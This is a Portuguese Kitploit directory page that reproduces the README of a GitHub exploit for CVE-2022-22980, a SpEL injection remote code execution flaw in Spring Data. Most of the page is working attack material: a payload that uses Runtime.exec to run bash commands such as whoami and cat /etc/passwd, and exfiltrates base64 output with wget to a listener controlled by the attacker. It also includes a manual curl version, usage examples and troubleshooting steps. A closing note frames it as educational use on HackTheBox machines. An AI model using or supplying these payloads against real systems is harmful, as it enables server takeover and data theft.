Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-22980 — Exploração do CVE-2022-22980 | Kitploit
Ferramentas/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Geração de PayloadsExploraçãoExploração de Aplicações WebCTFComando e ControleAprendizado e Educação
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Exploração do CVE-2022-22980

Ver Repositório
14há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

SpEL RCE Exploit - CVE-2022-22980

Exploit para execução remota de código (RCE) no Spring Data via injeção SpEL (Spring Expression Language).

Descrições

Vulnerabilidade

A caixa expõe um endpoint /search que aceita um parâmetro tracking_id vulnerável à injeção SpEL. Essa injeção permite a execução de expressões Java maliciosas diretamente no servidor.

Princípio de exploração

  1. Injetar uma expressão SpEL que execute um comando shell via Runtime.getRuntime().exec()
  2. Codificar a saída do comando em base64
  3. Exfiltrar o resultado por meio de uma requisição HTTP GET para um listener controlado
  4. Decodificar e exibir o resultado

Uso

Pré-requisitos

  • Python 3.x com os módulos padrão (http.server, , , )
Baixar ferramenta
subprocess
threading
base64
  • curl na sua máquina local
  • wget na máquina alvo (para exfiltração)
  • Uma porta 80 disponível (ou modificar LPORT no script)
  • Acesso de rede ao alvo
  • Configuração

    Modifique os parâmetros no script de acordo com seu ambiente:

    root@kitploit:~
    TARGET = "http://<IP_ALVO>:8080/search"   # URL do alvo
    LHOST = "<SEU_IP>"                        # IP local (tun0 para HTB)
    LPORT = 80                                # Porta de escuta
    

    Execução

    root@kitploit:~
    # Comando simples
    python3 spel_shell.py "whoami"
    
    # Comando com pipe
    python3 spel_shell.py "cat /etc/passwd"
    
    # Enumeração do sistema
    python3 spel_shell.py "uname -a"
    
    # Verificar acesso à rede
    python3 spel_shell.py "curl -s http://httpbin.org/get"
    

    Exemplo de saída

    root@kitploit:~
    [*] Starting listener...
    [*] Server listening on port 80
    [*] Sending payload...
    Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
    [*] Received data: cm9vdA==
    
    [+] Command output:
    
    root
    

    Payload manual (referência)

    Se quiser testar a payload sem o script:

    root@kitploit:~
    # Terminal 1: Iniciar o listener
    python3 -m http.server 80
    
    # Terminal 2: Enviar a payload
    curl -X POST \
      -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<SEU_IP>:80/{}"})' \
      http://<IP_ALVO>:8080/search
    

    Solução de problemas

    Erro: "Address already in use"

    A porta 80 está ocupada. Soluções:

    root@kitploit:~
    # Verificar qual processo está usando a porta
    sudo netstat -tlnp | grep :80
    
    # Parar o Apache se estiver ativo
    sudo systemctl stop apache2
    
    # Ou usar outra porta
    # Modifique LPORT no script e teste
    

    Sem resposta ("No response received")

    1. Verifique a conectividade de rede: Certifique-se de que o alvo consegue alcançar seu LHOST:LPORT
    2. Teste com um comando simples: python3 spel_shell.py "echo test"
    3. Verifique as permissões de porta: A porta 80 requer sudo no Linux
    4. Verifique o IP LHOST: Use ifconfig (tun0 para HTB) e não 127.0.0.1

    Erro de decodificação base64

    Se você vir "Raw data received" em vez de "Command output", o comando pode não ter produzido uma saída válida. Teste um comando que sempre produza saída.

    Arquitetura do script

    root@kitploit:~
    1. start_server() - Inicia um servidor HTTP na porta 80
                       ↓
    2. Envia a payload SpEL via curl para o alvo
                       ↓
    3. O alvo executa o comando e codifica o resultado em base64
                       ↓
    4. wget envia o resultado para o listener (GET http://LHOST:LPORT/<data>)
                       ↓
    5. O Handler recebe a data e a armazena
                       ↓
    6. O script decodifica e exibe o resultado
    

    Aviso

    Este script é fornecido para fins educacionais em caixas HackTheBox. Use-o apenas em ambientes que você tenha permissão para testar.


    Autor: Eliasdekiniweek Data: Fevereiro 2026
    Linguagem: Python 3